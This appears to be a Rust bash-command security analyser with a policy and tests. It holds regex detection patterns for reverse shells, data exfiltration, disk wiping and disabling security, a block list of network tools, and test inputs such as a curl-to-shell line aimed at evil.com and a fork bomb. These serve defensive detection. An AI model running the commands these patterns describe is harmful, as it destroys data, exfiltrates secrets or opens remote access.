1use std::collections::HashSet;
4use std::sync::LazyLock;
5
6use regex::Regex;
7use tree_sitter::{Language, Parser, Query, QueryCursor, StreamingIterator};
8
9static DANGEROUS_PATTERNS: LazyLock<Vec<(Regex, &'static str)>> = LazyLock::new(|| {
10 vec![
11 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/$").unwrap(), "rm root"),
13 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\*").unwrap(), "rm /*"),
14 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*~/?").unwrap(), "rm home"),
15 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\s*$").unwrap(), "rm ."),
16 (
17 Regex::new(r"\b(sudo|doas)\s+rm\b").unwrap(),
18 "privileged rm",
19 ),
20 (Regex::new(r"dd\s+.*if\s*=\s*/dev/zero").unwrap(), "dd zero"),
22 (
23 Regex::new(r"dd\s+.*of\s*=\s*/dev/[sh]d").unwrap(),
24 "dd disk",
25 ),
26 (Regex::new(r"\bmkfs(\.[a-z0-9]+)?\s").unwrap(), "mkfs"),
27 (Regex::new(r">\s*/dev/sd[a-z]").unwrap(), "overwrite disk"),
28 (Regex::new(r"\bfdisk\s+-[lw]").unwrap(), "fdisk"),
29 (Regex::new(r"\bparted\s").unwrap(), "parted"),
30 (Regex::new(r"\bwipefs\b").unwrap(), "wipefs"),
31 (Regex::new(r"shred\s+.*/dev/").unwrap(), "shred device"),
33 (
34 Regex::new(r"shred\s+(-[a-z]+\s+)*/$").unwrap(),
35 "shred root",
36 ),
37 (Regex::new(r"\bsrm\b").unwrap(), "secure-delete"),
38 (
40 Regex::new(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:").unwrap(),
41 "fork bomb",
42 ),
43 (
44 Regex::new(r"while\s+true\s*;\s*do\s*:\s*done").unwrap(),
45 "infinite loop",
46 ),
47 (Regex::new(r"\bpkexec\b").unwrap(), "pkexec"),
49 (Regex::new(r"\bsu\s+-(\s|$|;|\|)").unwrap(), "su root"),
50 (Regex::new(r"\bsu\s+root\b").unwrap(), "su root explicit"),
51 (Regex::new(r"\bdoas\s+-s\b").unwrap(), "doas shell"),
52 (Regex::new(r"\bshutdown\b").unwrap(), "shutdown"),
54 (Regex::new(r"(^|[^a-z])reboot\b").unwrap(), "reboot"),
55 (Regex::new(r"\binit\s+[06]\b").unwrap(), "init halt"),
56 (
57 Regex::new(r"\bsystemctl\s+(halt|poweroff|reboot)\b").unwrap(),
58 "systemctl power",
59 ),
60 (Regex::new(r"\bhalt\b").unwrap(), "halt"),
61 (Regex::new(r"\bpoweroff\b").unwrap(), "poweroff"),
62 (
64 Regex::new(r"chmod\s+(-[a-zA-Z]+\s+)*[0-7]*[67][0-7]*\s+/").unwrap(),
65 "chmod world-writable",
66 ),
67 (Regex::new(r"chown\s+.*\s+/$").unwrap(), "chown root"),
68 (
69 Regex::new(r"\bchattr\s+\+i\s+/").unwrap(),
70 "chattr immutable",
71 ),
72 (Regex::new(r"\biptables\s+-F").unwrap(), "iptables flush"),
74 (Regex::new(r"\bufw\s+disable").unwrap(), "ufw disable"),
75 (
76 Regex::new(r"\bfirewall-cmd\s+.*--panic-on").unwrap(),
77 "firewall panic",
78 ),
79 (
81 Regex::new(r"(wget|curl)\s+[^|]*\|\s*(ba)?sh\b").unwrap(),
82 "remote exec",
83 ),
84 (Regex::new(r"\beval\s+.*\$\(").unwrap(), "eval subshell"),
85 (
87 Regex::new(r"\bkillall\s+-9\s+(init|systemd)").unwrap(),
88 "kill init",
89 ),
90 (Regex::new(r"\bkill\s+-9\s+-1\b").unwrap(), "kill all"),
91 (Regex::new(r"\bpkill\s+-9\s+-1\b").unwrap(), "pkill all"),
92 (Regex::new(r"history\s+-[cd]").unwrap(), "history clear"),
94 (
95 Regex::new(r"export\s+HISTFILE\s*=\s*/dev/null").unwrap(),
96 "disable history",
97 ),
98 (Regex::new(r"\bcrontab\s+-r\b").unwrap(), "crontab remove"),
100 (Regex::new(r"\bat\s+-d\b").unwrap(), "at remove"),
101 (
103 Regex::new(r"\bcryptsetup\s+luksFormat").unwrap(),
104 "luks format",
105 ),
106 (Regex::new(r"\bnmap\s+-sS").unwrap(), "nmap syn scan"),
108 (
110 Regex::new(r"bash\s+-i\s*>&\s*/dev/tcp/").unwrap(),
111 "bash reverse shell",
112 ),
113 (
114 Regex::new(r"\bnc\s+(-[a-z]+\s+)*-e\s+/bin/(ba)?sh").unwrap(),
115 "nc reverse shell",
116 ),
117 (
118 Regex::new(r#"python[23]?\s+-c\s+["']import\s+(socket|pty)"#).unwrap(),
119 "python reverse shell",
120 ),
121 (
122 Regex::new(r#"perl\s+-e\s+["'].*socket.*exec"#).unwrap(),
123 "perl reverse shell",
124 ),
125 (
126 Regex::new(r"ruby\s+-rsocket\s+-e").unwrap(),
127 "ruby reverse shell",
128 ),
129 (
130 Regex::new(r#"php\s+-r\s+["'].*fsockopen"#).unwrap(),
131 "php reverse shell",
132 ),
133 (
134 Regex::new(r"\bmkfifo\s+.*\|\s*(nc|ncat)\b").unwrap(),
135 "fifo reverse shell",
136 ),
137 (Regex::new(r"\bsocat\s+.*exec:").unwrap(), "socat exec"),
138 (Regex::new(r"\binsmod\s").unwrap(), "insmod"),
140 (Regex::new(r"\bmodprobe\s").unwrap(), "modprobe"),
141 (Regex::new(r"\brmmod\s").unwrap(), "rmmod"),
142 (Regex::new(r"\bnsenter\s").unwrap(), "nsenter"),
144 (
145 Regex::new(r"\bunshare\s+.*--mount").unwrap(),
146 "unshare mount",
147 ),
148 (Regex::new(r"mount\s+-t\s+proc\b").unwrap(), "mount proc"),
149 (
150 Regex::new(r"mount\s+--bind\s+/").unwrap(),
151 "mount bind root",
152 ),
153 (Regex::new(r"\bsetenforce\s+0").unwrap(), "selinux disable"),
155 (Regex::new(r"\baa-disable\b").unwrap(), "apparmor disable"),
156 (Regex::new(r"\baa-teardown\b").unwrap(), "apparmor teardown"),
157 (Regex::new(r"\bgcore\s").unwrap(), "gcore dump"),
159 (Regex::new(r"cat\s+/proc/\d+/mem").unwrap(), "proc mem read"),
160 (
162 Regex::new(r"base64\s+.*\|\s*(curl|wget|nc)\b").unwrap(),
163 "base64 exfil",
164 ),
165 (
166 Regex::new(r"tar\s+[^|]*\|\s*(nc|curl|wget)\b").unwrap(),
167 "tar exfil",
168 ),
169 (
171 Regex::new(r"\bxargs\s+(-[^\s]+\s+)*rm\s+-rf").unwrap(),
172 "xargs rm -rf",
173 ),
174 (
176 Regex::new(r"\bchmod\s+[ugo]*\+s\b").unwrap(),
177 "chmod setuid/setgid",
178 ),
179 (
180 Regex::new(r"\bchmod\s+[0-7]*[4-7][0-7]{2}\b").unwrap(),
181 "chmod suid bits",
182 ),
183 (Regex::new(r"\bchroot\s").unwrap(), "chroot"),
185 (Regex::new(r"\bmount\s+--bind\b").unwrap(), "mount bind"),
187 (
188 Regex::new(r"\bmount\s+-o\s+\S*bind").unwrap(),
189 "mount -o bind",
190 ),
191 (
192 Regex::new(r"\bmount\s+-t\s+overlay\b").unwrap(),
193 "mount overlay",
194 ),
195 (Regex::new(r"\bumount\s+-l\b").unwrap(), "lazy umount"),
196 (
198 Regex::new(r"\biptables\s+-P\s+\S+\s+ACCEPT").unwrap(),
199 "iptables default accept",
200 ),
201 (
202 Regex::new(r"\bufw\s+default\s+allow").unwrap(),
203 "ufw default allow",
204 ),
205 (Regex::new(r"\bnft\s+flush\s+ruleset").unwrap(), "nft flush"),
206 (Regex::new(r"\bsysctl\s+-w\b").unwrap(), "sysctl write"),
208 (Regex::new(r">\s*/proc/sys/").unwrap(), "proc sys write"),
209 (Regex::new(r"\bstrace\s+-p\b").unwrap(), "strace attach"),
211 (Regex::new(r"\bltrace\s+-p\b").unwrap(), "ltrace attach"),
212 (Regex::new(r"\bptrace\b").unwrap(), "ptrace"),
213 (
215 Regex::new(r"\bulimit\s+-[nu]\s*0\b").unwrap(),
216 "ulimit zero",
217 ),
218 (Regex::new(r"\bsetcap\b").unwrap(), "setcap"),
220 (Regex::new(r"\bcapsh\b").unwrap(), "capsh"),
221 (Regex::new(r"\bkexec\b").unwrap(), "kexec"),
223 (Regex::new(r"\bpivot_root\b").unwrap(), "pivot_root"),
224 (Regex::new(r"\bswapoff\s+-a\b").unwrap(), "swapoff all"),
225 ]
226});
227
228fn bash_language() -> Language {
229 tree_sitter_bash::LANGUAGE.into()
230}
231
232#[derive(Debug, Clone, PartialEq, Eq)]
233pub enum SecurityConcern {
234 CommandSubstitution,
235 ProcessSubstitution,
236 EvalUsage,
237 RemoteExecution,
238 PrivilegeEscalation,
239 DangerousCommand(String),
240 VariableExpansion,
241 BacktickSubstitution,
242}
243
244#[derive(Debug, Clone)]
245pub struct ReferencedPath {
246 pub path: String,
247 pub context: PathContext,
248}
249
250#[derive(Debug, Clone, PartialEq, Eq)]
251pub enum PathContext {
252 Argument,
253 InputRedirect,
254 OutputRedirect,
255 HereDoc,
256}
257
258#[derive(Debug, Clone)]
259pub struct BashAnalysis {
260 pub paths: Vec<ReferencedPath>,
261 pub commands: Vec<String>,
262 pub env_vars: HashSet<String>,
263 pub concerns: Vec<SecurityConcern>,
264}
265
266impl BashAnalysis {
267 fn new() -> Self {
268 Self {
269 paths: Vec::new(),
270 commands: Vec::new(),
271 env_vars: HashSet::new(),
272 concerns: Vec::new(),
273 }
274 }
275}
276
277#[derive(Debug, Clone, Default)]
278pub struct BashPolicy {
279 pub allow_command_substitution: bool,
280 pub allow_process_substitution: bool,
281 pub allow_eval: bool,
282 pub allow_remote_exec: bool,
283 pub allow_privilege_escalation: bool,
284 pub allow_variable_expansion: bool,
285 pub blocked_commands: HashSet<String>,
286}
287
288impl BashPolicy {
289 pub fn strict() -> Self {
290 Self {
291 allow_command_substitution: false,
292 allow_process_substitution: false,
293 allow_eval: false,
294 allow_remote_exec: false,
295 allow_privilege_escalation: false,
296 allow_variable_expansion: false,
297 blocked_commands: Self::default_blocked_commands(),
298 }
299 }
300
301 pub fn permissive() -> Self {
302 Self {
303 allow_command_substitution: true,
304 allow_process_substitution: true,
305 allow_eval: true,
306 allow_remote_exec: true,
307 allow_privilege_escalation: true,
308 allow_variable_expansion: true,
309 blocked_commands: HashSet::new(),
310 }
311 }
312
313 pub fn default_blocked_commands() -> HashSet<String> {
314 [
315 "curl", "wget", "nc", "ncat", "netcat", "telnet", "ftp", "sftp", "scp", "rsync",
316 ]
317 .into_iter()
318 .map(String::from)
319 .collect()
320 }
321
322 pub fn with_blocked_commands(
323 mut self,
324 commands: impl IntoIterator<Item = impl Into<String>>,
325 ) -> Self {
326 self.blocked_commands = commands.into_iter().map(Into::into).collect();
327 self
328 }
329
330 pub fn is_command_blocked(&self, command: &str) -> bool {
331 let base_command = command.split_whitespace().next().unwrap_or(command);
332 self.blocked_commands.contains(base_command)
333 }
334
335 pub fn allows(&self, concern: &SecurityConcern) -> bool {
336 match concern {
337 SecurityConcern::CommandSubstitution | SecurityConcern::BacktickSubstitution => {
338 self.allow_command_substitution
339 }
340 SecurityConcern::ProcessSubstitution => self.allow_process_substitution,
341 SecurityConcern::EvalUsage => self.allow_eval,
342 SecurityConcern::RemoteExecution => self.allow_remote_exec,
343 SecurityConcern::PrivilegeEscalation => self.allow_privilege_escalation,
344 SecurityConcern::VariableExpansion => self.allow_variable_expansion,
345 SecurityConcern::DangerousCommand(_) => false,
346 }
347 }
348}
349
350#[derive(Clone)]
351pub struct BashAnalyzer {
352 policy: BashPolicy,
353}
354
355impl BashAnalyzer {
356 pub fn new(policy: BashPolicy) -> Self {
357 Self { policy }
358 }
359
360 pub fn analyze(&self, command: &str) -> BashAnalysis {
361 let mut analysis = BashAnalysis::new();
362
363 self.check_dangerous_patterns(command, &mut analysis);
364
365 let mut parser = Parser::new();
366 if parser.set_language(&bash_language()).is_err() {
367 self.fallback_analysis(command, &mut analysis);
368 return analysis;
369 }
370
371 let Some(tree) = parser.parse(command, None) else {
372 self.fallback_analysis(command, &mut analysis);
373 return analysis;
374 };
375
376 self.extract_paths_from_tree(&tree, command, &mut analysis);
377 self.extract_commands_from_tree(&tree, command, &mut analysis);
378 self.check_security_concerns(&tree, command, &mut analysis);
379
380 analysis
381 }
382
383 pub fn validate(&self, command: &str) -> Result<BashAnalysis, String> {
384 let analysis = self.analyze(command);
385
386 for cmd in &analysis.commands {
388 if self.policy.is_command_blocked(cmd) {
389 return Err(format!("Blocked command: {}", cmd));
390 }
391 }
392
393 for concern in &analysis.concerns {
394 if !self.policy.allows(concern) {
395 return Err(format!("Security concern: {:?}", concern));
396 }
397 }
398
399 Ok(analysis)
400 }
401
402 fn check_dangerous_patterns(&self, command: &str, analysis: &mut BashAnalysis) {
403 let normalized = Self::normalize_whitespace(command);
404 for (pattern, name) in DANGEROUS_PATTERNS.iter() {
405 if pattern.is_match(&normalized) {
406 analysis
407 .concerns
408 .push(SecurityConcern::DangerousCommand(name.to_string()));
409 }
410 }
411 }
412
413 fn normalize_whitespace(command: &str) -> String {
414 static WS_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[ \t]+").unwrap());
415 WS_RE.replace_all(command.trim(), " ").to_string()
416 }
417
418 fn extract_paths_from_tree(
419 &self,
420 tree: &tree_sitter::Tree,
421 source: &str,
422 analysis: &mut BashAnalysis,
423 ) {
424 let query_str = r#"
425 (word) @arg
426 (file_redirect (word) @redirect_file)
427 (heredoc_redirect (heredoc_body) @heredoc)
428 "#;
429
430 if let Ok(query) = Query::new(&bash_language(), query_str) {
431 let mut cursor = QueryCursor::new();
432 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
433 while let Some(m) = matches.next() {
434 for capture in m.captures {
435 let text = &source[capture.node.byte_range()];
436 if text.starts_with('/') && !text.starts_with("/dev/") {
437 let context = match capture.index {
438 1 => PathContext::InputRedirect,
439 2 => PathContext::HereDoc,
440 _ => PathContext::Argument,
441 };
442 analysis.paths.push(ReferencedPath {
443 path: text.to_string(),
444 context,
445 });
446 }
447 }
448 }
449 }
450
451 self.extract_redirect_paths(tree, source, analysis);
452 }
453
454 fn extract_redirect_paths(
455 &self,
456 _tree: &tree_sitter::Tree,
457 source: &str,
458 analysis: &mut BashAnalysis,
459 ) {
460 static REDIRECT_RE: LazyLock<Regex> =
461 LazyLock::new(|| Regex::new(r"[<>]&?\s*(/[^\s;&|]+)").unwrap());
462
463 for cap in REDIRECT_RE.captures_iter(source) {
464 if let Some(path_match) = cap.get(1) {
465 let path = path_match.as_str();
466 if !path.starts_with("/dev/") {
467 let context = if source[..cap.get(0).unwrap().start()].ends_with('<') {
468 PathContext::InputRedirect
469 } else {
470 PathContext::OutputRedirect
471 };
472 analysis.paths.push(ReferencedPath {
473 path: path.to_string(),
474 context,
475 });
476 }
477 }
478 }
479 }
480
481 fn extract_commands_from_tree(
482 &self,
483 tree: &tree_sitter::Tree,
484 source: &str,
485 analysis: &mut BashAnalysis,
486 ) {
487 let query_str = "(command name: (command_name) @cmd)";
488
489 if let Ok(query) = Query::new(&bash_language(), query_str) {
490 let mut cursor = QueryCursor::new();
491 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
492 while let Some(m) = matches.next() {
493 for capture in m.captures {
494 let cmd = &source[capture.node.byte_range()];
495 analysis.commands.push(cmd.to_string());
496 }
497 }
498 }
499 }
500
501 fn check_security_concerns(
502 &self,
503 tree: &tree_sitter::Tree,
504 source: &str,
505 analysis: &mut BashAnalysis,
506 ) {
507 let query_str = r#"
508 (command_substitution) @cmd_sub
509 (process_substitution) @proc_sub
510 (expansion) @var_exp
511 (simple_expansion) @simple_exp
512 "#;
513
514 if let Ok(query) = Query::new(&bash_language(), query_str) {
515 let mut cursor = QueryCursor::new();
516 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
517 while let Some(m) = matches.next() {
518 for capture in m.captures {
519 match capture.index {
520 0 => analysis.concerns.push(SecurityConcern::CommandSubstitution),
521 1 => analysis.concerns.push(SecurityConcern::ProcessSubstitution),
522 2 | 3 => {
523 let var_text = &source[capture.node.byte_range()];
524 analysis.env_vars.insert(var_text.to_string());
525 analysis.concerns.push(SecurityConcern::VariableExpansion);
526 }
527 _ => {}
528 }
529 }
530 }
531 }
532
533 if source.contains('`') {
535 analysis
536 .concerns
537 .push(SecurityConcern::BacktickSubstitution);
538 }
539
540 for cmd in &analysis.commands {
541 match cmd.as_str() {
542 "eval" | "source" | "." => analysis.concerns.push(SecurityConcern::EvalUsage),
543 "sudo" | "doas" | "pkexec" | "su" => {
544 analysis.concerns.push(SecurityConcern::PrivilegeEscalation)
545 }
546 _ => {}
547 }
548 }
549
550 self.check_remote_execution(source, analysis);
552 }
553
554 fn check_remote_execution(&self, source: &str, analysis: &mut BashAnalysis) {
555 static REMOTE_EXEC_RE: LazyLock<Regex> = LazyLock::new(|| {
556 Regex::new(r"(curl|wget)\s+[^|]*\|\s*(ba)?sh|env\s+bash|exec\s+bash").unwrap()
557 });
558 if REMOTE_EXEC_RE.is_match(source) {
559 analysis.concerns.push(SecurityConcern::RemoteExecution);
560 }
561 if source.contains("curl")
562 && source.contains("|")
563 && (source.contains("sh") || source.contains("bash"))
564 && !analysis
565 .concerns
566 .contains(&SecurityConcern::RemoteExecution)
567 {
568 analysis.concerns.push(SecurityConcern::RemoteExecution);
569 }
570 if source.contains("wget")
571 && source.contains("|")
572 && (source.contains("sh") || source.contains("bash"))
573 && !analysis
574 .concerns
575 .contains(&SecurityConcern::RemoteExecution)
576 {
577 analysis.concerns.push(SecurityConcern::RemoteExecution);
578 }
579 }
580
581 fn fallback_analysis(&self, command: &str, analysis: &mut BashAnalysis) {
582 static PATH_RE: LazyLock<Regex> =
583 LazyLock::new(|| Regex::new(r#"(?:^|[\s'"=])(/[^\s'";&|><$`\\]+)"#).unwrap());
584 static VAR_RE: LazyLock<Regex> =
585 LazyLock::new(|| Regex::new(r"\$\{?[a-zA-Z_][a-zA-Z0-9_]*\}?").unwrap());
586
587 for cap in PATH_RE.captures_iter(command) {
588 if let Some(path_match) = cap.get(1) {
589 let path = path_match.as_str();
590 if !path.starts_with("/dev/")
591 && !path.starts_with("/proc/")
592 && !path.starts_with("/sys/")
593 {
594 analysis.paths.push(ReferencedPath {
595 path: path.to_string(),
596 context: PathContext::Argument,
597 });
598 }
599 }
600 }
601
602 static CMD_RE: LazyLock<Regex> =
603 LazyLock::new(|| Regex::new(r"^(\w+)|[;&|]\s*(\w+)").unwrap());
604
605 for cap in CMD_RE.captures_iter(command) {
606 if let Some(cmd) = cap.get(1).or(cap.get(2)) {
607 analysis.commands.push(cmd.as_str().to_string());
608 }
609 }
610
611 if command.contains("$(") {
612 analysis.concerns.push(SecurityConcern::CommandSubstitution);
613 }
614 if command.contains('`') {
615 analysis
616 .concerns
617 .push(SecurityConcern::BacktickSubstitution);
618 }
619 if command.contains("<(") || command.contains(">(") {
620 analysis.concerns.push(SecurityConcern::ProcessSubstitution);
621 }
622
623 for cap in VAR_RE.captures_iter(command) {
624 if let Some(var_match) = cap.get(0) {
625 analysis.env_vars.insert(var_match.as_str().to_string());
626 if !analysis
627 .concerns
628 .contains(&SecurityConcern::VariableExpansion)
629 {
630 analysis.concerns.push(SecurityConcern::VariableExpansion);
631 }
632 }
633 }
634 }
635}
636
637impl Default for BashAnalyzer {
638 fn default() -> Self {
639 Self::new(BashPolicy::default())
640 }
641}
642
643#[cfg(test)]
644mod tests {
645 use super::*;
646
647 #[test]
648 fn test_dangerous_command_blocked() {
649 let analyzer = BashAnalyzer::default();
650 let analysis = analyzer.analyze("rm -rf /");
651 assert!(
652 analysis
653 .concerns
654 .iter()
655 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
656 );
657 }
658
659 #[test]
660 fn test_extract_paths() {
661 let analyzer = BashAnalyzer::default();
662 let analysis = analyzer.analyze("cat /etc/passwd && ls /home/user");
663 assert!(analysis.paths.iter().any(|p| p.path == "/etc/passwd"));
664 assert!(analysis.paths.iter().any(|p| p.path == "/home/user"));
665 }
666
667 #[test]
668 fn test_redirect_paths() {
669 let analyzer = BashAnalyzer::default();
670 let analysis = analyzer.analyze("echo test > /tmp/out.txt");
671 assert!(analysis.paths.iter().any(|p| p.path == "/tmp/out.txt"));
672 }
673
674 #[test]
675 fn test_input_redirect() {
676 let analyzer = BashAnalyzer::default();
677 let analysis = analyzer.analyze("cat < /etc/hosts");
678 assert!(analysis.paths.iter().any(|p| p.path == "/etc/hosts"));
679 }
680
681 #[test]
682 fn test_command_substitution_detected() {
683 let analyzer = BashAnalyzer::default();
684 let analysis = analyzer.analyze("echo $(cat /etc/passwd)");
685 assert!(
686 analysis
687 .concerns
688 .iter()
689 .any(|c| matches!(c, SecurityConcern::CommandSubstitution))
690 );
691 }
692
693 #[test]
694 fn test_process_substitution_detected() {
695 let analyzer = BashAnalyzer::default();
696 let analysis = analyzer.analyze("diff <(ls /a) <(ls /b)");
697 assert!(
698 analysis
699 .concerns
700 .iter()
701 .any(|c| matches!(c, SecurityConcern::ProcessSubstitution))
702 );
703 }
704
705 #[test]
706 fn test_privilege_escalation_detected() {
707 let analyzer = BashAnalyzer::default();
708 let analysis = analyzer.analyze("sudo apt update");
709 assert!(
710 analysis
711 .concerns
712 .iter()
713 .any(|c| matches!(c, SecurityConcern::PrivilegeEscalation))
714 );
715 }
716
717 #[test]
718 fn test_remote_exec_detected() {
719 let analyzer = BashAnalyzer::default();
720 let analysis = analyzer.analyze("curl http://evil.com/script | sh");
721 assert!(
722 analysis
723 .concerns
724 .iter()
725 .any(|c| matches!(c, SecurityConcern::RemoteExecution))
726 );
727 }
728
729 #[test]
730 fn test_policy_validation() {
731 let analyzer = BashAnalyzer::new(BashPolicy::strict());
732 let result = analyzer.validate("echo $(whoami)");
733 assert!(result.is_err());
734 }
735
736 #[test]
737 fn test_safe_command() {
738 let analyzer = BashAnalyzer::new(BashPolicy::default());
739 let analysis = analyzer.analyze("echo hello world");
740 assert!(analysis.concerns.is_empty());
741 }
742
743 #[test]
744 fn test_fork_bomb_detected() {
745 let analyzer = BashAnalyzer::default();
746 let analysis = analyzer.analyze(":(){:|:&};:");
747 assert!(
748 analysis
749 .concerns
750 .iter()
751 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
752 );
753 }
754
755 #[test]
756 fn test_variable_expansion_detected() {
757 let analyzer = BashAnalyzer::default();
758 let analysis = analyzer.analyze("cat $HOME/.bashrc");
759 assert!(
760 analysis
761 .concerns
762 .iter()
763 .any(|c| matches!(c, SecurityConcern::VariableExpansion))
764 );
765 assert!(analysis.env_vars.contains("$HOME"));
766 }
767
768 #[test]
769 fn test_backtick_substitution_detected() {
770 let analyzer = BashAnalyzer::default();
771 let analysis = analyzer.analyze("echo `whoami`");
772 assert!(
773 analysis
774 .concerns
775 .iter()
776 .any(|c| matches!(c, SecurityConcern::BacktickSubstitution))
777 );
778 }
779
780 #[test]
781 fn test_source_command_detected() {
782 let analyzer = BashAnalyzer::default();
783 let analysis = analyzer.analyze("source /etc/profile");
784 assert!(
785 analysis
786 .concerns
787 .iter()
788 .any(|c| matches!(c, SecurityConcern::EvalUsage))
789 );
790 }
791}